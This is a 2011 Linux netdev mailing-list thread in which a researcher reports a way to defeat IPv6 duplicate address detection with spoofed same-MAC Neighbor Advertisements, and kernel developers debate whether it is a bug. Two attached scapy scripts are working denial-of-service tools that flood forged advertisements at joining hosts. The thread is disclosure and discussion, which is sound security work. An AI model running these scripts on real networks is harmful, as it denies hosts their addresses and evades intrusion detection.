Fwd: PROBLEM: IPv6 Duplicate Address Detection with non RFC-conform ICMPv6 packets

Fwd: PROBLEM: IPv6 Duplicate Address Detection with non RFC-conform ICMPv6 packets

[Jan Ceuleers]

[-- Attachment #1: Type: text/plain, Size: 2221 bytes --]

The networking folks are on netdev

-------- Original Message --------
Subject: PROBLEM: IPv6 Duplicate Address Detection with non RFC-conform 
ICMPv6 packets
Date: Thu, 05 May 2011 11:52:05 +0200
From: Gervais Arthur <arthur.gervais@insa-lyon.fr>
To: <linux-kernel@vger.kernel.org>
CC: <arthur.gervais@insa-lyon.fr>

[1.] One line summary of the problem:

A specially crafted Ethernet ICMPv6 packet which is not conform to the
RFC can perform a IPv6 Duplicate Address Detection Failure.

[2.] Full description of the problem/report:

If a new IPv6 node joins the local area network, the new node sends an
ICMPv6 Neighbor Solicitation packet in order to check if the
self-generated local-link IPv6 address already occupied is.

An attacker can answer to this Neighbor Solicitation packet with an
ICMPv6 Neighbor Advertisement packet, so that the new IPv6 node is not
able to associate the just generated IPv6 address.
-- This problem is well known and IPv6 related.

The new problem is that the attacker can modify the Ethernet Neighbor
Advertisement packets, so that they are not RFC conform and so that it
is even more difficult to detect the attacker.

If an attacker sends the following packet, duplicate address detection
fails on Linux:

Ethernet Layer: 	Victim MAC --> Victim MAC
IPv6 Layer:		fe80::200:edff:feXX:XXXX --> ff02::1
			ICMPv6
			  Type 136 (Neighbor Advertisement)
			  Target: fe80::200:edff:feXX:XXXX
			ICMPv6 Option
			  Type 2 (Target link-layer address) Victim MAC

Please find attached a drawing and a proof of concept.

[3.] Keywords (i.e., modules, networking, kernel):

Network, IPv6, Duplicate Address Detection

[4.] Kernel version (from /proc/version):

Latest tested:
Linux version 2.6.35-22-generic (buildd@rothera) (gcc version 4.4.5
(Ubuntu/Linaro 4.4.4-14ubuntu4) ) #33-Ubuntu SMP Sun Sep 19 20:34:50 UTC
2010
(and before most probably)

[6.] A small shell script or example program which triggers the
       problem (if possible)

Please find attached a python script demonstrating the problem.

[X.] Other notes, patches, fixes, workarounds:

The Linux Kernel should not accept incoming Ethernet packets originating
from an internal Ethernet card (identified by the MAC address)


[-- Attachment #2: DAD_DoS_Linux_tech.png --]
[-- Type: image/png, Size: 17435 bytes --]

[-- Attachment #3: dad-dos.py --]
[-- Type: text/x-python, Size: 998 bytes --]

#! /usr/bin/env python

import sys
from multiprocessing import Process
from scapy.all import *

def f(pkt):
        sendp(pkt, loop=1, inter=1)

def callback(pkt):
        
        if IPv6 in pkt and ICMPv6ND_NS in pkt:  
                
			src_mac=pkt.sprintf("%Ether.src%")   # Source Adresse
			src=pkt.sprintf("%IPv6.src%")   # Source Adresse
			dst=pkt.sprintf("%IPv6.dst%")   # Destination Adresse
			tgt=pkt.sprintf("%ICMPv6ND_NS.tgt%")    # Target adresse 

			if src=="::" and "ff02::1:ff" in dst:

				eth = Ether(src="00:20:ed:74:89:82",dst=src_mac)
				ip = IPv6(src=tgt,dst="ff02::1")
				icmp = ICMPv6ND_NA(tgt=tgt)
				icmpOpt = ICMPv6NDOptDstLLAddr(lladdr="00:20:ed:74:89:82")

				packet = eth/ip/icmp/icmpOpt

				p = Process(target=f, args=(packet,))
				p.start()

def main():
        conf.iface6="eth1"
        try:
                scapy.sendrecv.sniff(prn=callback,store=0)
        except KeyboardInterrupt:
                exit(0)

if __name__ == "__main__":
        main()

Re: Fwd: PROBLEM: IPv6 Duplicate Address Detection with non RFC-conform ICMPv6 packets

[Gervais Arthur]

[-- Attachment #1: Type: text/plain, Size: 2499 bytes --]

I made a small mistake in the proof of concept code.

Please find attached the corrected version (2 lines are modified)

Best regards,

Arthur Gervais


On 05/07/2011 02:55 PM, Jan Ceuleers wrote:
> The networking folks are on netdev
>
> -------- Original Message --------
> Subject: PROBLEM: IPv6 Duplicate Address Detection with non RFC-conform
> ICMPv6 packets
> Date: Thu, 05 May 2011 11:52:05 +0200
> From: Gervais Arthur <arthur.gervais@insa-lyon.fr>
> To: <linux-kernel@vger.kernel.org>
> CC: <arthur.gervais@insa-lyon.fr>
>
> [1.] One line summary of the problem:
>
> A specially crafted Ethernet ICMPv6 packet which is not conform to the
> RFC can perform a IPv6 Duplicate Address Detection Failure.
>
> [2.] Full description of the problem/report:
>
> If a new IPv6 node joins the local area network, the new node sends an
> ICMPv6 Neighbor Solicitation packet in order to check if the
> self-generated local-link IPv6 address already occupied is.
>
> An attacker can answer to this Neighbor Solicitation packet with an
> ICMPv6 Neighbor Advertisement packet, so that the new IPv6 node is not
> able to associate the just generated IPv6 address.
> -- This problem is well known and IPv6 related.
>
> The new problem is that the attacker can modify the Ethernet Neighbor
> Advertisement packets, so that they are not RFC conform and so that it
> is even more difficult to detect the attacker.
>
> If an attacker sends the following packet, duplicate address detection
> fails on Linux:
>
> Ethernet Layer: Victim MAC --> Victim MAC
> IPv6 Layer: fe80::200:edff:feXX:XXXX --> ff02::1
> ICMPv6
> Type 136 (Neighbor Advertisement)
> Target: fe80::200:edff:feXX:XXXX
> ICMPv6 Option
> Type 2 (Target link-layer address) Victim MAC
>
> Please find attached a drawing and a proof of concept.
>
> [3.] Keywords (i.e., modules, networking, kernel):
>
> Network, IPv6, Duplicate Address Detection
>
> [4.] Kernel version (from /proc/version):
>
> Latest tested:
> Linux version 2.6.35-22-generic (buildd@rothera) (gcc version 4.4.5
> (Ubuntu/Linaro 4.4.4-14ubuntu4) ) #33-Ubuntu SMP Sun Sep 19 20:34:50 UTC
> 2010
> (and before most probably)
>
> [6.] A small shell script or example program which triggers the
> problem (if possible)
>
> Please find attached a python script demonstrating the problem.
>
> [X.] Other notes, patches, fixes, workarounds:
>
> The Linux Kernel should not accept incoming Ethernet packets originating
> from an internal Ethernet card (identified by the MAC address)
>


[-- Attachment #2: dad-dos_special.py --]
[-- Type: text/x-python, Size: 974 bytes --]

#! /usr/bin/env python

import sys
from multiprocessing import Process
from scapy.all import *

def f(pkt):
        sendp(pkt, loop=1, inter=1)

def callback(pkt):
        
        if IPv6 in pkt and ICMPv6ND_NS in pkt:  
                
			src_mac=pkt.sprintf("%Ether.src%")   # Source Adresse
			src=pkt.sprintf("%IPv6.src%")   # Source Adresse
			dst=pkt.sprintf("%IPv6.dst%")   # Destination Adresse
			tgt=pkt.sprintf("%ICMPv6ND_NS.tgt%")    # Target adresse 

			if src=="::" and "ff02::1:ff" in dst:

				eth = Ether(src=src_mac,dst=src_mac)
				ip = IPv6(src=tgt,dst="ff02::1")
				icmp = ICMPv6ND_NA(tgt=tgt)
				icmpOpt = ICMPv6NDOptDstLLAddr(lladdr=src_mac)

				packet = eth/ip/icmp/icmpOpt

				p = Process(target=f, args=(packet,))
				p.start()

def main():
        conf.iface6="eth1"
        try:
                scapy.sendrecv.sniff(prn=callback,store=0)
        except KeyboardInterrupt:
                exit(0)

if __name__ == "__main__":
        main()

Re: Fwd: PROBLEM: IPv6 Duplicate Address Detection with non RFC-conform ICMPv6 packets

[Eric Dumazet]

Le samedi 07 mai 2011 à 14:55 +0200, Jan Ceuleers a écrit :
> The networking folks are on netdev
> 
> -------- Original Message --------
> Subject: PROBLEM: IPv6 Duplicate Address Detection with non RFC-conform 
> ICMPv6 packets
> Date: Thu, 05 May 2011 11:52:05 +0200
> From: Gervais Arthur <arthur.gervais@insa-lyon.fr>
> To: <linux-kernel@vger.kernel.org>
> CC: <arthur.gervais@insa-lyon.fr>
> 
> [1.] One line summary of the problem:
> 
> A specially crafted Ethernet ICMPv6 packet which is not conform to the
> RFC can perform a IPv6 Duplicate Address Detection Failure.
> 
> [2.] Full description of the problem/report:
> 
> If a new IPv6 node joins the local area network, the new node sends an
> ICMPv6 Neighbor Solicitation packet in order to check if the
> self-generated local-link IPv6 address already occupied is.
> 
> An attacker can answer to this Neighbor Solicitation packet with an
> ICMPv6 Neighbor Advertisement packet, so that the new IPv6 node is not
> able to associate the just generated IPv6 address.
> -- This problem is well known and IPv6 related.
> 
> The new problem is that the attacker can modify the Ethernet Neighbor
> Advertisement packets, so that they are not RFC conform and so that it
> is even more difficult to detect the attacker.
> 
> If an attacker sends the following packet, duplicate address detection
> fails on Linux:
> 
> Ethernet Layer: 	Victim MAC --> Victim MAC
> IPv6 Layer:		fe80::200:edff:feXX:XXXX --> ff02::1
> 			ICMPv6
> 			  Type 136 (Neighbor Advertisement)
> 			  Target: fe80::200:edff:feXX:XXXX
> 			ICMPv6 Option
> 			  Type 2 (Target link-layer address) Victim MAC
> 
> Please find attached a drawing and a proof of concept.
> 
> [3.] Keywords (i.e., modules, networking, kernel):
> 
> Network, IPv6, Duplicate Address Detection
> 
> [4.] Kernel version (from /proc/version):
> 
> Latest tested:
> Linux version 2.6.35-22-generic (buildd@rothera) (gcc version 4.4.5
> (Ubuntu/Linaro 4.4.4-14ubuntu4) ) #33-Ubuntu SMP Sun Sep 19 20:34:50 UTC
> 2010
> (and before most probably)
> 
> [6.] A small shell script or example program which triggers the
>        problem (if possible)
> 
> Please find attached a python script demonstrating the problem.
> 
> [X.] Other notes, patches, fixes, workarounds:
> 
> The Linux Kernel should not accept incoming Ethernet packets originating
> from an internal Ethernet card (identified by the MAC address)
> 

I fail to understand the problem.

The attacker might use any kind of source MAC address to fool 'Victim'
or 'network admins'

Why one particular address should be avoided ?

Re: Fwd: PROBLEM: IPv6 Duplicate Address Detection with non RFC-conform ICMPv6 packets

[Gervais Arthur]

On 05/07/2011 03:10 PM, Eric Dumazet wrote:
> Le samedi 07 mai 2011 à 14:55 +0200, Jan Ceuleers a écrit :
>> The networking folks are on netdev
>>
>> -------- Original Message --------
>> Subject: PROBLEM: IPv6 Duplicate Address Detection with non RFC-conform
>> ICMPv6 packets
>> Date: Thu, 05 May 2011 11:52:05 +0200
>> From: Gervais Arthur<arthur.gervais@insa-lyon.fr>
>> To:<linux-kernel@vger.kernel.org>
>> CC:<arthur.gervais@insa-lyon.fr>
>>
>> [1.] One line summary of the problem:
>>
>> A specially crafted Ethernet ICMPv6 packet which is not conform to the
>> RFC can perform a IPv6 Duplicate Address Detection Failure.
>>
>> [2.] Full description of the problem/report:
>>
>> If a new IPv6 node joins the local area network, the new node sends an
>> ICMPv6 Neighbor Solicitation packet in order to check if the
>> self-generated local-link IPv6 address already occupied is.
>>
>> An attacker can answer to this Neighbor Solicitation packet with an
>> ICMPv6 Neighbor Advertisement packet, so that the new IPv6 node is not
>> able to associate the just generated IPv6 address.
>> -- This problem is well known and IPv6 related.
>>
>> The new problem is that the attacker can modify the Ethernet Neighbor
>> Advertisement packets, so that they are not RFC conform and so that it
>> is even more difficult to detect the attacker.
>>
>> If an attacker sends the following packet, duplicate address detection
>> fails on Linux:
>>
>> Ethernet Layer: 	Victim MAC -->  Victim MAC
>> IPv6 Layer:		fe80::200:edff:feXX:XXXX -->  ff02::1
>> 			ICMPv6
>> 			  Type 136 (Neighbor Advertisement)
>> 			  Target: fe80::200:edff:feXX:XXXX
>> 			ICMPv6 Option
>> 			  Type 2 (Target link-layer address) Victim MAC
>>
>> Please find attached a drawing and a proof of concept.
>>
>> [3.] Keywords (i.e., modules, networking, kernel):
>>
>> Network, IPv6, Duplicate Address Detection
>>
>> [4.] Kernel version (from /proc/version):
>>
>> Latest tested:
>> Linux version 2.6.35-22-generic (buildd@rothera) (gcc version 4.4.5
>> (Ubuntu/Linaro 4.4.4-14ubuntu4) ) #33-Ubuntu SMP Sun Sep 19 20:34:50
UTC
>> 2010
>> (and before most probably)
>>
>> [6.] A small shell script or example program which triggers the
>>         problem (if possible)
>>
>> Please find attached a python script demonstrating the problem.
>>
>> [X.] Other notes, patches, fixes, workarounds:
>>
>> The Linux Kernel should not accept incoming Ethernet packets
originating
>> from an internal Ethernet card (identified by the MAC address)
>>
>
> I fail to understand the problem.
>
> The attacker might use any kind of source MAC address to fool 'Victim'
> or 'network admins'
>
> Why one particular address should be avoided ?
>
>
>

Currently the IPv6 implementation says (from the victims view):
I send a Neighbor Solicitation for a given IPv6 address to check the 
duplicate address detection.

If I then receive a Neighbor Advertisement packet from my MAC address, 
to my MAC address, with ICMPv6 target option my MAC address, then the 
requested IPv6 address must already be used and I cannot take it.

I think such a packet should never be allowed to be accepted, because 
the victim just asked if the address is free.

If such a packet is accepted, it is even more difficult to find the 
attacker.

Re: Fwd: PROBLEM: IPv6 Duplicate Address Detection with non RFC-conform ICMPv6 packets

[Eric Dumazet]

Le samedi 07 mai 2011 à 15:17 +0200, Gervais Arthur a écrit :
> On 05/07/2011 03:10 PM, Eric Dumazet wrote:
> > Le samedi 07 mai 2011 à 14:55 +0200, Jan Ceuleers a écrit :
> >> The networking folks are on netdev
> >>
> >> -------- Original Message --------
> >> Subject: PROBLEM: IPv6 Duplicate Address Detection with non RFC-conform
> >> ICMPv6 packets
> >> Date: Thu, 05 May 2011 11:52:05 +0200
> >> From: Gervais Arthur<arthur.gervais@insa-lyon.fr>
> >> To:<linux-kernel@vger.kernel.org>
> >> CC:<arthur.gervais@insa-lyon.fr>
> >>
> >> [1.] One line summary of the problem:
> >>
> >> A specially crafted Ethernet ICMPv6 packet which is not conform to the
> >> RFC can perform a IPv6 Duplicate Address Detection Failure.
> >>
> >> [2.] Full description of the problem/report:
> >>
> >> If a new IPv6 node joins the local area network, the new node sends an
> >> ICMPv6 Neighbor Solicitation packet in order to check if the
> >> self-generated local-link IPv6 address already occupied is.
> >>
> >> An attacker can answer to this Neighbor Solicitation packet with an
> >> ICMPv6 Neighbor Advertisement packet, so that the new IPv6 node is not
> >> able to associate the just generated IPv6 address.
> >> -- This problem is well known and IPv6 related.
> >>
> >> The new problem is that the attacker can modify the Ethernet Neighbor
> >> Advertisement packets, so that they are not RFC conform and so that it
> >> is even more difficult to detect the attacker.
> >>
> >> If an attacker sends the following packet, duplicate address detection
> >> fails on Linux:
> >>
> >> Ethernet Layer: 	Victim MAC -->  Victim MAC
> >> IPv6 Layer:		fe80::200:edff:feXX:XXXX -->  ff02::1
> >> 			ICMPv6
> >> 			  Type 136 (Neighbor Advertisement)
> >> 			  Target: fe80::200:edff:feXX:XXXX
> >> 			ICMPv6 Option
> >> 			  Type 2 (Target link-layer address) Victim MAC
> >>
> >> Please find attached a drawing and a proof of concept.
> >>
> >> [3.] Keywords (i.e., modules, networking, kernel):
> >>
> >> Network, IPv6, Duplicate Address Detection
> >>
> >> [4.] Kernel version (from /proc/version):
> >>
> >> Latest tested:
> >> Linux version 2.6.35-22-generic (buildd@rothera) (gcc version 4.4.5
> >> (Ubuntu/Linaro 4.4.4-14ubuntu4) ) #33-Ubuntu SMP Sun Sep 19 20:34:50
> UTC
> >> 2010
> >> (and before most probably)
> >>
> >> [6.] A small shell script or example program which triggers the
> >>         problem (if possible)
> >>
> >> Please find attached a python script demonstrating the problem.
> >>
> >> [X.] Other notes, patches, fixes, workarounds:
> >>
> >> The Linux Kernel should not accept incoming Ethernet packets
> originating
> >> from an internal Ethernet card (identified by the MAC address)
> >>
> >
> > I fail to understand the problem.
> >
> > The attacker might use any kind of source MAC address to fool 'Victim'
> > or 'network admins'
> >
> > Why one particular address should be avoided ?
> >
> >
> >
> 
> Currently the IPv6 implementation says (from the victims view):
> I send a Neighbor Solicitation for a given IPv6 address to check the 
> duplicate address detection.
> 
> If I then receive a Neighbor Advertisement packet from my MAC address, 
> to my MAC address, with ICMPv6 target option my MAC address, then the 
> requested IPv6 address must already be used and I cannot take it.
> 
> I think such a packet should never be allowed to be accepted, because 
> the victim just asked if the address is free.
> 
> If such a packet is accepted, it is even more difficult to find the 
> attacker.
> 

What prevents the attacker to use random source Mac addresses,
or using legit ones learnt from packet sniffing ?

Why only one given mac address is to be avoided, out of billions other ?

This would be a strange precedent. Practically nowhere we check incoming
mac addresses from incoming packets. (only on netfilter it can be
optionally done)

If you have a host with say one thousand NICS, should we make sure the
packet we receive has not one of the thousand mac addresses we currently
have on this host ?

Re: Fwd: PROBLEM: IPv6 Duplicate Address Detection with non RFC-conform ICMPv6 packets

[Gervais Arthur]

On 05/07/2011 03:25 PM, Eric Dumazet wrote:
> Le samedi 07 mai 2011 à 15:17 +0200, Gervais Arthur a écrit :
>> On 05/07/2011 03:10 PM, Eric Dumazet wrote:
>>> Le samedi 07 mai 2011 à 14:55 +0200, Jan Ceuleers a écrit :
>>>> The networking folks are on netdev
>>>>
>>>> -------- Original Message --------
>>>> Subject: PROBLEM: IPv6 Duplicate Address Detection with non
RFC-conform
>>>> ICMPv6 packets
>>>> Date: Thu, 05 May 2011 11:52:05 +0200
>>>> From: Gervais Arthur<arthur.gervais@insa-lyon.fr>
>>>> To:<linux-kernel@vger.kernel.org>
>>>> CC:<arthur.gervais@insa-lyon.fr>
>>>>
>>>> [1.] One line summary of the problem:
>>>>
>>>> A specially crafted Ethernet ICMPv6 packet which is not conform to
the
>>>> RFC can perform a IPv6 Duplicate Address Detection Failure.
>>>>
>>>> [2.] Full description of the problem/report:
>>>>
>>>> If a new IPv6 node joins the local area network, the new node sends
an
>>>> ICMPv6 Neighbor Solicitation packet in order to check if the
>>>> self-generated local-link IPv6 address already occupied is.
>>>>
>>>> An attacker can answer to this Neighbor Solicitation packet with an
>>>> ICMPv6 Neighbor Advertisement packet, so that the new IPv6 node is
not
>>>> able to associate the just generated IPv6 address.
>>>> -- This problem is well known and IPv6 related.
>>>>
>>>> The new problem is that the attacker can modify the Ethernet Neighbor
>>>> Advertisement packets, so that they are not RFC conform and so that
it
>>>> is even more difficult to detect the attacker.
>>>>
>>>> If an attacker sends the following packet, duplicate address
detection
>>>> fails on Linux:
>>>>
>>>> Ethernet Layer: 	Victim MAC -->   Victim MAC
>>>> IPv6 Layer:		fe80::200:edff:feXX:XXXX -->   ff02::1
>>>> 			ICMPv6
>>>> 			  Type 136 (Neighbor Advertisement)
>>>> 			  Target: fe80::200:edff:feXX:XXXX
>>>> 			ICMPv6 Option
>>>> 			  Type 2 (Target link-layer address) Victim MAC
>>>>
>>>> Please find attached a drawing and a proof of concept.
>>>>
>>>> [3.] Keywords (i.e., modules, networking, kernel):
>>>>
>>>> Network, IPv6, Duplicate Address Detection
>>>>
>>>> [4.] Kernel version (from /proc/version):
>>>>
>>>> Latest tested:
>>>> Linux version 2.6.35-22-generic (buildd@rothera) (gcc version 4.4.5
>>>> (Ubuntu/Linaro 4.4.4-14ubuntu4) ) #33-Ubuntu SMP Sun Sep 19 20:34:50
>> UTC
>>>> 2010
>>>> (and before most probably)
>>>>
>>>> [6.] A small shell script or example program which triggers the
>>>>          problem (if possible)
>>>>
>>>> Please find attached a python script demonstrating the problem.
>>>>
>>>> [X.] Other notes, patches, fixes, workarounds:
>>>>
>>>> The Linux Kernel should not accept incoming Ethernet packets
>> originating
>>>> from an internal Ethernet card (identified by the MAC address)
>>>>
>>>
>>> I fail to understand the problem.
>>>
>>> The attacker might use any kind of source MAC address to fool 'Victim'
>>> or 'network admins'
>>>
>>> Why one particular address should be avoided ?
>>>
>>>
>>>
>>
>> Currently the IPv6 implementation says (from the victims view):
>> I send a Neighbor Solicitation for a given IPv6 address to check the
>> duplicate address detection.
>>
>> If I then receive a Neighbor Advertisement packet from my MAC address,
>> to my MAC address, with ICMPv6 target option my MAC address, then the
>> requested IPv6 address must already be used and I cannot take it.
>>
>> I think such a packet should never be allowed to be accepted, because
>> the victim just asked if the address is free.
>>
>> If such a packet is accepted, it is even more difficult to find the
>> attacker.
>>
>

If the network administrator is using some IDS like NDPMon 
(http://ndpmon.sourceforge.net/) to detect a DAD DoS attacks, and the 
attacker changes the MAC address like I described, it will not detect 
the DAD DoS attack anymore (because the victim itself claims already 
having the IPv6 address).

> What prevents the attacker to use random source Mac addresses,
> or using legit ones learnt from packet sniffing ?
>

Of course an attacker could use a random source Mac address, or any 
other already existing source Mac address from the network, but the IDS 
system will know (depending on how it works), that this Mac address has 
not this IPv6 address associated and therefore a DAD DoS is happening.

> Why only one given mac address is to be avoided, out of billions other ?
>

Why would the victim itself claim already having the IPv6 address?

> This would be a strange precedent. Practically nowhere we check incoming
> mac addresses from incoming packets. (only on netfilter it can be
> optionally done)
>

Yes I understand this point. But there is not only the source Mac 
address from the Ethernet frame, it is also the "target link-layer 
address" in the ICMPv6 Option which is related to this case.

> If you have a host with say one thousand NICS, should we make sure the
> packet we receive has not one of the thousand mac addresses we currently
> have on this host ?

I send the bug to this list, because I don't think this is a NDPMon 
specific problem. Windows for example does not accept the packets the 
way I described.

Maybe this is not an OS-specific problem, but attacks would be easier to 
detect, if those packets would not be accepted.

Re: Fwd: PROBLEM: IPv6 Duplicate Address Detection with non RFC-conform ICMPv6 packets

[Eric Dumazet]

Le samedi 07 mai 2011 à 15:54 +0200, Gervais Arthur a écrit :

> Why would the victim itself claim already having the IPv6 address?
> 

Why should it care ? Please point me the RFC saying its illegal to send
or receive a frame with SRC_MAC == DST_MAC

Re: Fwd: PROBLEM: IPv6 Duplicate Address Detection with non RFC-conform ICMPv6 packets

[Mikael Abrahamsson]

On Sat, 7 May 2011, Gervais Arthur wrote:

> If the network administrator is using some IDS like NDPMon 
> (http://ndpmon.sourceforge.net/) to detect a DAD DoS attacks, and the 
> attacker changes the MAC address like I described, it will not detect 
> the DAD DoS attack anymore (because the victim itself claims already 
> having the IPv6 address).

If the network admin allows anyone to source any packet then they're 
already screwed. Networks need IETF SAVI-WG functionality to secure their 
network, if spoofing is allowed it's already too late.

The earlier network admins realise this and stop just trying to monitor 
the problem, the better.

-- 
Mikael Abrahamsson    email: swmike@swm.pp.se

Re: Fwd: PROBLEM: IPv6 Duplicate Address Detection with non RFC-conform ICMPv6 packets

[Gervais Arthur]

On 05/07/2011 04:06 PM, Eric Dumazet wrote:
 > Le samedi 07 mai 2011 à 15:54 +0200, Gervais Arthur a écrit :
 >
 >> Why would the victim itself claim already having the IPv6 address?
 >>
 >
 > Why should it care ? Please point me the RFC saying its illegal to send
 > or receive a frame with SRC_MAC == DST_MAC
 >

There is no RFC statement saying that this is illegal. But we are not 
only talking about the Ethernet layer. There is also the ICMPv6 Layer.

But neither in the IPv6 RFC's I can find something about this.

Re: Fwd: PROBLEM: IPv6 Duplicate Address Detection with non RFC-conform ICMPv6 packets

[wanq]

In fact, I think the implementation of Linux fully meet the RFC specifications.

Think about this, two nodes have the same MAC, the DAD of the
self-generated link-local address on the new one MUST NOT pass. And
the IPv6 traffic of the interface SHOULD be disabled, because there's
no better way to recover from MAC conflicts automatically.

2011/5/7 Gervais Arthur <arthur.gervais@insa-lyon.fr>:
> On 05/07/2011 04:06 PM, Eric Dumazet wrote:
>  > Le samedi 07 mai 2011 à 15:54 +0200, Gervais Arthur a écrit :
>  >
>  >> Why would the victim itself claim already having the IPv6 address?
>  >>
>  >
>  > Why should it care ? Please point me the RFC saying its illegal to send
>  > or receive a frame with SRC_MAC == DST_MAC
>  >
>
> There is no RFC statement saying that this is illegal. But we are not
> only talking about the Ethernet layer. There is also the ICMPv6 Layer.
>
> But neither in the IPv6 RFC's I can find something about this.
>
> --
> To unsubscribe from this list: send the line "unsubscribe netdev" in
> the body of a message to majordomo@vger.kernel.org
> More majordomo info at  http://vger.kernel.org/majordomo-info.html
>



-- 
wanq